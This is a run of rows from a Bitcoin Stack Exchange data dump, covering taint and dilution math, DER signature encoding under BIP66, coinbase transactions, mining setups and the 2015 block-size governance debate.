  <row Id="37697" PostTypeId="2" ParentId="37645" CreationDate="2015-05-31T20:15:09.800" Score="4" Body="&lt;p&gt;I think I have an answer. It's not clear if this is how blockchain.info does it, but I'm not sure it matters, either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taint is very similar to the everyday experience of diluting a liquid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine starting with three glasses. One glass contains orange juice. The second contains water. The third is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pouring some or all of the orange juice into the empty glass doesn't dilute it at all. However, pouring a 1:1 mixture of orange juice and water into the empty glass dilutes the orange juice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can define a metric called dilution factor. Dilution factor equals the final volume contained in the formerly empty glass divided by the volume of orange juice added. The dilution factor for a 1:1 mixture is therefore 2 (2 / 1). If no dilution takes place, then the dilution factor is 1. More generally:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dilution factor = V&lt;sub&gt;2&lt;/sub&gt; / V&lt;sub&gt;1&lt;/sub&gt; if V&lt;sub&gt;2&lt;/sub&gt; &gt; V&lt;sub&gt;1&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dilution factor = 1 if V&lt;sub&gt;2&lt;/sub&gt; &amp;lt;= V&lt;sub&gt;1&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can add another empty glass and dilute again. For example, we can take half of the diluted orange juice and dilute it with an equal volume of water. This gives a second dilution factor of 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The overall dilution factor equals the cumulative product of the dilution factor at each step. In this case, it is 4 (2 x 2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now imagine that monetary value is like a liquid, and an output is like a container. We can do dilution analysis just like we did with orange juice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, the dilution factor tells us how diluted the value of an output in a chain of ownership has become relative to a downstream output. Provided that the limits of this metric are clear, it can be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The liquid being diluted is &quot;taint&quot;. In this model, &quot;taint&quot; would be the multiplicative inverse of dilution factor. A dilution factor of 2 implies a taint of 50% (1/2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Returning to the question posed above, given this chain of ownership, find the dilution factor between A&lt;sub&gt;5&lt;/sub&gt; and A&lt;sub&gt;4&lt;/sub&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A&lt;sub&gt;5&lt;/sub&gt;(5 BTC)-&gt;A&lt;sub&gt;1&lt;/sub&gt;(2 BTC)-&gt;A&lt;sub&gt;3&lt;/sub&gt;(3 BTC)-&gt;A&lt;sub&gt;4&lt;/sub&gt;(4 BTC)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dilution factors are, from left to right: 1; 3/2; 4/3. Multiplying them together gives 1 x 3/2 x 4/3, or 2. This is a 50% taint, the same answer as I got above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the answer postulated in my original question is wrong in that it doesn't account for serial dilution. Consider this chain of ownership:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A&lt;sub&gt;5&lt;/sub&gt;(1 BTC)-&gt;A&lt;sub&gt;1&lt;/sub&gt;(5 BTC)-&gt;A&lt;sub&gt;3&lt;/sub&gt;(3 BTC)-&gt;A&lt;sub&gt;4&lt;/sub&gt;(4 BTC)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The serial dilution factor is 5 x 1 x 4/3, or 20/3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply dividing the final value by the minimum value upstream gives a dilution factor between A&lt;sub&gt;5&lt;/sub&gt; and A&lt;sub&gt;4&lt;/sub&gt; of 4/1.&lt;/p&gt;&#xA;" OwnerUserId="10845" LastActivityDate="2015-05-31T20:15:09.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37698" PostTypeId="2" ParentId="37671" CreationDate="2015-05-31T20:18:08.540" Score="1" Body="&lt;p&gt;your premise that governments will ban bitcoin to curb evasion of taxes is invalid, but I will attempt to answer your underlying question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;What happens to bitcoin value when governments prohibit use?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just regarding value (compared to State currencies):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value drops based on investors getting scared and mass selling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value rises as fiat currencies continue to inflate and the need for Bitcoin continues to exist. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Governments can't prevent people from using Bitcoin. They can make laws, but it doesn't affect the need for stateless forms of exchange. &lt;/p&gt;&#xA;" OwnerUserId="26728" LastEditorUserId="29893" LastEditDate="2017-01-25T16:41:18.067" LastActivityDate="2017-01-25T16:41:18.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37700" PostTypeId="2" ParentId="37469" CreationDate="2015-06-01T04:56:02.917" Score="0" Body="&lt;p&gt;the fact that &lt;code&gt;pybitcointools&lt;/code&gt; (a pure python implementation of ecdsa) is able to verify the message against the pubkey and signature indicates that it is a problem with &lt;code&gt;openssl&lt;/code&gt; and not with the data itself being incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as per &lt;a href=&quot;https://bitcoin.stackexchange.com/users/12983/amaclin&quot;&gt;amaclin&lt;/a&gt;'s comments under his answer, the der encoding for this signature is non-standard:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;30440220bb4fbc495aa23babb2c2be4e3fb4a5dffefe20c8eff5940f135649c3ea96444a022004afcda966c807bb97622d3eefea828f623af306ef2b756782ee6f8a22a959a2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is decoded as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x30 # constant placeholder&#xA;0x44 # total length = 68 bytes&#xA;0x02 # constant placeholder&#xA;0x20 # r-length = 32 bytes&#xA;0xbb4fbc495aa23babb2c2be4e3fb4a5dffefe20c8eff5940f135649c3ea96444a # r&#xA;0x02 # constant placeholder&#xA;0x20 # s-length = 32 bytes&#xA;0x04afcda966c807bb97622d3eefea828f623af306ef2b756782ee6f8a22a959a2 # s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;note that the &lt;code&gt;r&lt;/code&gt; value here starts with &lt;code&gt;0xbb = 1011 1011&lt;/code&gt; - since the most significant bit (&lt;code&gt;0x80&lt;/code&gt;) is set then this is a negative number. this would fail the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/41e6e4caba9899ce7c165b0784461c55c867ee24/src/script/interpreter.cpp#L99&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IsValidSignatureEncoding&lt;/code&gt;&lt;/a&gt; check and be rejected ever since &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0066.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;bip66&lt;/a&gt;. specifically, this line would cause the failure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Negative numbers are not allowed for R.&#xA;if (sig[4] &amp;amp; 0x80) return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here &lt;code&gt;sig[4]&lt;/code&gt; is the first (leftmost) byte of the &lt;code&gt;r&lt;/code&gt; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so this explains why some versions of openssl will fail this checksig and others will pass it - it is non-standard der encoding which is only compatible with certain versions of openssl.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-06-01T05:06:26.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37701" PostTypeId="2" ParentId="37672" CreationDate="2015-06-01T05:41:04.993" Score="4" Body="&lt;p&gt;No inputs means that the coins are coming from a coinbase transaction, that is, they were only moved &quot;once&quot;, when they were created. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions will have different numbers of confirmations based on how recently the funds were moved. &lt;/p&gt;&#xA;" OwnerUserId="26735" LastActivityDate="2015-06-01T05:41:04.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37702" PostTypeId="2" ParentId="37672" CreationDate="2015-06-01T06:41:56.213" Score="3" Body="&lt;p&gt;The issuance of credits into the Bitcoin ledger is done through (in finance terms) an issuance transaction. The Bitcoin protocol refers to this as a &quot;coinbase&quot;. All issuance transactions are generated by &quot;miners&quot; (transaction processors) who are taking guesses at solving an impossible math problem. The winner who publishes the correct guess to the problem is given authority by the rest of the network to write this &quot;coinbase&quot; transaction into the ledger. Since it has no inputs (no sending account) it is this transaction that is the creation of credits in the ledger, and is an exception from all other transactions which must have inputs and signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These issuance or &quot;coinbase&quot; transactions have confirmations the same as any other transaction, which is to say that the number of &quot;confirmations&quot; is equal to the number of blocks &quot;mined&quot; since that transaction was first published in the ledger.&lt;/p&gt;&#xA;" OwnerUserId="26736" LastActivityDate="2015-06-01T06:41:56.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37703" PostTypeId="1" CreationDate="2015-06-01T07:19:49.140" Score="2" ViewCount="240" Body="&lt;p&gt;I am running a network with fifty miners, and I am experiencing network problems with my current router from ASUS, because its memory fills up and it requires to restart in order to work properly. I want to get a better router to fix that issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I look out for when deciding what router to buy to support a network with 50 miners?&lt;/p&gt;&#xA;" OwnerUserId="24953" LastEditorUserId="2306" LastEditDate="2017-04-25T19:59:21.350" LastActivityDate="2017-04-25T19:59:21.350" Title="What requirements does a router need to fulfill to support a network of 50 miners?" Tags="|mining-hardware|network|mining-setup|memory|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37705" PostTypeId="1" CreationDate="2015-06-01T09:22:52.790" Score="0" ViewCount="75" Body="&lt;p&gt;How do pools determine a pool-user's hashrate? It seems they would base it on the particular user's difficulty or rate of accepted shares.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-06-01T11:23:45.303" LastActivityDate="2015-06-01T11:23:45.303" Title="How do pools determine a pool-user's hashrate?" Tags="|mining-pools|mining-pool-shares|hashpower|" AnswerCount="0" CommentCount="3" ClosedDate="2015-06-02T15:16:46.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="37706" PostTypeId="5" CreationDate="2015-06-01T09:30:49.827" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-01T09:30:49.827" LastActivityDate="2015-06-01T09:30:49.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37707" PostTypeId="4" CreationDate="2015-06-01T09:30:49.827" Score="0" Body="Shares refers to a method for accounting mining pool contributions. It does not cover company shares." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-01T09:30:49.827" LastActivityDate="2015-06-01T09:30:49.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37708" PostTypeId="5" CreationDate="2015-06-01T10:07:23.790" Score="0" Body="&lt;p&gt;Project website: &lt;a href=&quot;https://btcarmory.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;btcarmory.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Armory is a desktop wallet which require the full blockchain in order to function. It requires that a Bitcoin Core node be installed in running and it fetches the data that it needs from this node. It is focused primarily on security offering strong encryption of the wallet, multiple backup methods with encryption, and a fragmented backup scheme to have the backup be located in multiple places.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="48884" LastEditDate="2017-10-20T20:49:25.680" LastActivityDate="2017-10-20T20:49:25.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37709" PostTypeId="4" CreationDate="2015-06-01T10:07:23.790" Score="0" Body="This tag should be used for Bitcoin Armory, a desktop wallet focused on security features." OwnerUserId="5406" LastEditorUserId="48884" LastEditDate="2017-10-20T20:49:25.680" LastActivityDate="2017-10-20T20:49:25.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37710" PostTypeId="5" CreationDate="2015-06-01T10:14:20.533" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-01T10:14:20.533" LastActivityDate="2015-06-01T10:14:20.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37711" PostTypeId="4" CreationDate="2015-06-01T10:14:20.533" Score="0" Body="Alternative Proof-of-Work function employed by Cryptocurrencies such as e.g. Litecoin and Dogecoin." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-01T10:14:20.533" LastActivityDate="2015-06-01T10:14:20.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37712" PostTypeId="5" CreationDate="2015-06-01T10:16:03.740" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-01T10:16:03.740" LastActivityDate="2015-06-01T10:16:03.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37713" PostTypeId="4" CreationDate="2015-06-01T10:16:03.740" Score="0" Body="Questions concerned with (full) nodes, i.e. relay points in the Bitcoin network." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-01T10:16:03.740" LastActivityDate="2015-06-01T10:16:03.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37714" PostTypeId="5" CreationDate="2015-06-01T10:21:27.917" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-01T10:21:27.917" LastActivityDate="2015-06-01T10:21:27.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37715" PostTypeId="4" CreationDate="2015-06-01T10:21:27.917" Score="0" Body="A hash-tree used to allow efficient and secure verification of contents of large data structures. Merkle-Trees are employed in Bitcoin to prove existence of transactions in a block." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-01T10:21:27.917" LastActivityDate="2015-06-01T10:21:27.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37716" PostTypeId="1" AcceptedAnswerId="37830" CreationDate="2015-06-01T12:08:54.260" Score="1" ViewCount="650" Body="&lt;p&gt;My question relates to the use case of trying to build a simple payment flow where one user (a donor) can donate directly to another user (a recipient) with Bitcoin.&#xA;To begin with, I would like to manually load up and input 2 addresses that respond to a Donate button and ideally get processed from test accounts on the Testnet blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to bitcoin development and want to understand the underlying mechanics rather than immediately implementing a more sophisticated and abstracted plugin (e.g. Stripe).&#xA;Additionally, my preferred language is Ruby so I have been favouring APIs with Ruby SDKs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have a shortlist of the following APIs: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Chain.com (&lt;a href=&quot;https://chain.com/docs/ruby#bitcoin-transaction-overview&quot; rel=&quot;nofollow&quot;&gt;https://chain.com/docs/ruby#bitcoin-transaction-overview&lt;/a&gt;) &lt;/li&gt;&#xA;&lt;li&gt;Blockcypher (&lt;a href=&quot;http://dev.blockcypher.com/#payments&quot; rel=&quot;nofollow&quot;&gt;http://dev.blockcypher.com/#payments&lt;/a&gt;) &gt;&gt; provide direct access to Testnet, not clear how would implement with others&lt;/li&gt;&#xA;&lt;li&gt;Blockchain.info (can't link with current rep points) &gt;&gt; may force you to use their wallets&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Has anyone worked with these and can provide guidance on which is best to implement the above use case? Other suggestions welcome. Appreciate this could be interpreted fairly broadly but I can try and specify further if you have questions. &lt;/p&gt;&#xA;" OwnerUserId="26739" LastActivityDate="2015-07-07T17:54:22.667" Title="Setting up a basic test transaction for p2p donation web app - API recommendation" Tags="|transactions|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37717" PostTypeId="1" CreationDate="2015-06-01T13:27:04.993" Score="4" ViewCount="183" Body="&lt;p&gt;How many bitcoins would it require for a sustained DOS attack on bitcoin network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without transaction fee, how many bitcoins would that be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many transactions could we generate with 1 BTC everyday (without fee)?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="5406" LastEditDate="2015-06-04T07:00:05.867" LastActivityDate="2023-12-22T22:02:00.240" Title="How many bitcoins would it require for a sustained DOS attack on bitcoin network?" Tags="|network|attack|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37718" PostTypeId="2" ParentId="37673" CreationDate="2015-06-01T13:48:38.013" Score="3" Body="&lt;p&gt;Calculating the private key from a signature (r and s) requires that you know the message (to calculate the &quot;z&quot; value) and the &quot;k&quot; value (which is used by the signer to derive the r value via a &lt;a href=&quot;http://en.wikipedia.org/wiki/Trapdoor_function&quot; rel=&quot;nofollow&quot;&gt;trapdoor function&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calculating the &quot;k&quot; value (needed above) requires two signatures (you need two s values) which sign two different messages (you need two z values) using the &lt;em&gt;same private key&lt;/em&gt; and the same r (therefore the same k) value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your question, you reference two transactions signed by &lt;em&gt;different&lt;/em&gt; private keys (which you know by noticing their public keys differ), and therefore you do not have enough information to correctly calculate the k value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;/questions/37674/two-identical-r-value-finding-z-value-from-two-transaction&quot;&gt;other similar question you recently asked&lt;/a&gt;, the two transactions &lt;em&gt;were&lt;/em&gt; signed by the same private key (and they have the same r &amp;amp; k), so in that case it is possible to calculate the private key. (The service you linked to appears to calculate it correctly, however it doesn't display the uncompressed address.)&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-06-01T13:48:38.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37719" PostTypeId="1" AcceptedAnswerId="37720" CreationDate="2015-06-01T16:17:13.833" Score="6" ViewCount="250" Body="&lt;p&gt;I have been running a full node for little less than a year and I am following the discussion around blocksize increase. I am for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who actually can make a decision whether  the blocksize increase gets committed to the bt core? Is a majority vote from core devs required? Obviously Gavin Andersen, an outspoken core developer is trying to convince someone with his blog posts. Whom? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also how can the public coordinate their desire for blocksize increase? Everyone posting in their blogs is not going to cut it, or? &lt;/p&gt;&#xA;" OwnerUserId="21786" LastEditorUserId="2306" LastEditDate="2016-10-10T18:09:09.323" LastActivityDate="2016-10-10T18:09:09.323" Title="Who makes the decision about blocksize?" Tags="|bitcoin-core|block|blockchain-fork|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37720" PostTypeId="2" ParentId="37719" CreationDate="2015-06-01T16:28:20.760" Score="-2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Who actually can make a decision whether the blocksize increase gets&#xA;  committed to the bt core?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any person who has rights to commit changes to github.com/bitcoin.org&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also how can the public coordinate their desire for blocksize&#xA;  increase?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only way is voting by hashpower. Have a look to BIP-16&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-06-01T16:28:20.760" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37721" PostTypeId="1" CreationDate="2015-06-01T16:30:16.997" Score="1" ViewCount="190" Body="&lt;p&gt;The last transaction in blocks 219882, 219888, and 219892 don't have a timestamp.  And by &lt;em&gt;last transaction&lt;/em&gt; I mean the last transaction shown in the json file. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/block-height/219882?format=json&quot; rel=&quot;nofollow&quot;&gt;219882&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/block-height/219888?format=json&quot; rel=&quot;nofollow&quot;&gt;219888&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/block-height/219892?format=json&quot; rel=&quot;nofollow&quot;&gt;219892&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I find this to be a bit odd.  Does anyone know why this has occurred? &lt;/p&gt;&#xA;" OwnerUserId="24755" LastEditorUserId="24925" LastEditDate="2015-08-31T10:42:31.080" LastActivityDate="2015-08-31T10:42:31.080" Title="bc.info transactions with no timestamp" Tags="|blockchain.info|timestamp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37722" PostTypeId="2" ParentId="37721" CreationDate="2015-06-01T16:41:31.497" Score="3" Body="&lt;p&gt;There is no timestamp field in bitcoin transactions. BC.I timestamps the transaction when it comes to this service for a very first time. You should not use this value, because it can be quite incorrect/irrelevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that the last transactions in these blocks have not seen by BC.I in &quot;wild&quot; form. BC.I discovered them when they come within a block. So, it is a small bug on BC.I - it does not shows you timestamp for some txs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just live with it.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-06-01T16:41:31.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37723" PostTypeId="1" CreationDate="2015-06-01T17:51:21.743" Score="1" ViewCount="90" Body="&lt;p&gt;Does Stellar have Oauth, or is it on your road-map ? &lt;/p&gt;&#xA;" OwnerUserId="26745" LastEditorUserId="26745" LastEditDate="2016-03-13T15:40:20.650" LastActivityDate="2016-03-13T15:40:20.650" Title="Oauth - can my application use Stellar Oauth?" Tags="|stellar|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37724" PostTypeId="2" ParentId="37719" CreationDate="2015-06-01T17:58:13.203" Score="5" Body="&lt;p&gt;This situation is unprecedented in the software world. In other peer-to-peer systems (think Skype or Bittorrent or whatever), software updates fix bugs or add new features, and if the user doesn't update their software the worst that can happen is that their program will run with some problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Bitcoin the situation is drastically different because the system is entirely based on reaching consensus on something. Bittorrent or Skype don't really need to reach consensus on anything. Sure there's still a protocol that clients should follow for the system to work as expected, but even if these rules are slightly different from client to client, overall the system still functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Bitcoin, consensus is what makes the whole system possible. The rules behind how to reach consensus are embedded (actually hardcoded) inside the client/node that all the people are running. Now, if there's some clients that have different rules than others regarding the consensus, then the whole system branches into different versions creating effectively different versions of Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, one can go ahead and say that Bitcoin is exactly the set of rules (the actual algorithm) to reach consensus. If you're not using those rules, you're not using Bitcoin, you're using something else (Bitcoin 2.0, Litecoin 2.0, whatever...). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you understand why this is really an unprecedented situation in the software world (perhaps apart from the fork of 2013). If you change the rules then you're effectively creating a new version of Bitcoin and you must make everyone move onto your new version - and I'm not talking about only miners here; all people that are running clients on their phones, or on their computers; all the web wallets; all the exchanges. They all &lt;em&gt;must&lt;/em&gt; update their code otherwise you've essentially created another system which is not Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question about &quot;who makes the decision about the rules&quot;, it's the actual people running the bitcoin software that decide at the end of the day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; as was noted in the comments, regarding the specific block size issue, SPV clients don't actually need to be updated because they don't check the size of the blocks - they trust the miners will do the checking for them.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2015-06-01T19:57:57.990" LastActivityDate="2015-06-01T19:57:57.990" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37725" PostTypeId="1" CreationDate="2015-06-01T19:25:24.633" Score="2" ViewCount="227" Body="&lt;p&gt;Apologies for the newb question.&#xA;But what's the best way to convert data on spreadsheet (lists of addresses and corresponding amounts to be sent), into a format suitable to be entered as a sendmany command into bitcoin console with the minimum amount of steps?  Ideally would handle any amount of addresses and amounts.&lt;br&gt;&#xA;Thanks in advance if anyone can help out at all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XZ     0.01&#xA;1353tsE8YMTA4EuV7dgUXGjNFf9KpVvKHz     0.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sendmany &quot;&quot; &quot;{\&quot;1D1ZrZNe3JUo7ZycKEYQQiQAWd9y54F4XZ\&quot;:0.01,\&quot;1353tsE8YMTA4EuV7dgUXGjNFf9KpVvKHz\&quot;:0.5}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26747" LastEditorUserId="2306" LastEditDate="2015-06-02T07:31:22.857" LastActivityDate="2015-06-22T14:43:57.723" Title="Auto formatting data into sendmany command" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37726" PostTypeId="2" ParentId="37723" CreationDate="2015-06-01T19:56:42.893" Score="1" Body="&lt;p&gt;Oauth isn't presently on our &lt;a href=&quot;https://trello.com/b/Clb1VMP5/platform-roadmap&quot; rel=&quot;nofollow&quot;&gt;roadmap&lt;/a&gt;, but feel free to check back in future.&lt;/p&gt;&#xA;" OwnerUserId="25073" LastActivityDate="2015-06-01T19:56:42.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37727" PostTypeId="2" ParentId="3712" CreationDate="2015-06-01T20:05:31.077" Score="2" Body="&lt;p&gt;The easiest way to create a multi signature 2-of-3 transaction is with Coinb.in.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If necessary, create 3 key pairs using the &quot;New Address&quot; drop down command.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &quot;New Multisig Address&quot; together with the 3 public keys to create a 2-of-3 address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fund the address with bitcoin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new transaction by pasting in the &quot;redeem script&quot; from step 3, defining the receiving addresses and amounts. (All unspent inputs not assigned to a receiving address will be used as transaction fees. If change is desired include that in a new output address by clicking the &quot;+&quot;.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sign the transaction by one of the private keys, then sign that transaction with another of the private keys.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Broadcast the transaction to the network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12311" LastActivityDate="2015-06-01T20:05:31.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37729" PostTypeId="1" CreationDate="2015-06-02T02:09:48.313" Score="1" ViewCount="472" Body="&lt;p&gt;I mine for fun. Please no responses saying &quot;You really shouldn't mine on that computer. At all. Forget mining exists.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I try to mine using the instructions given in the README of the GUIMiner, it gives me an error as soon as the bitcoin.exe launches as a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Invalid -rpcallowip subnet specification: *. Valid are a single IP (e.g. 1.2.3.4), a network/netmask (e.g. 1.2.3.4/255.255.255.0) or a network/CIDR (e.g. 1.2.3.4/24).&lt;/p&gt;&#xA;" OwnerUserId="26753" LastActivityDate="2015-06-02T16:22:36.790" Title="Having trouble solo mining" Tags="|solo-mining|error|guiminer|" AnswerCount="2" CommentCount="2" ClosedDate="2015-06-03T17:19:09.377" ContentLicense="CC BY-SA 3.0" />
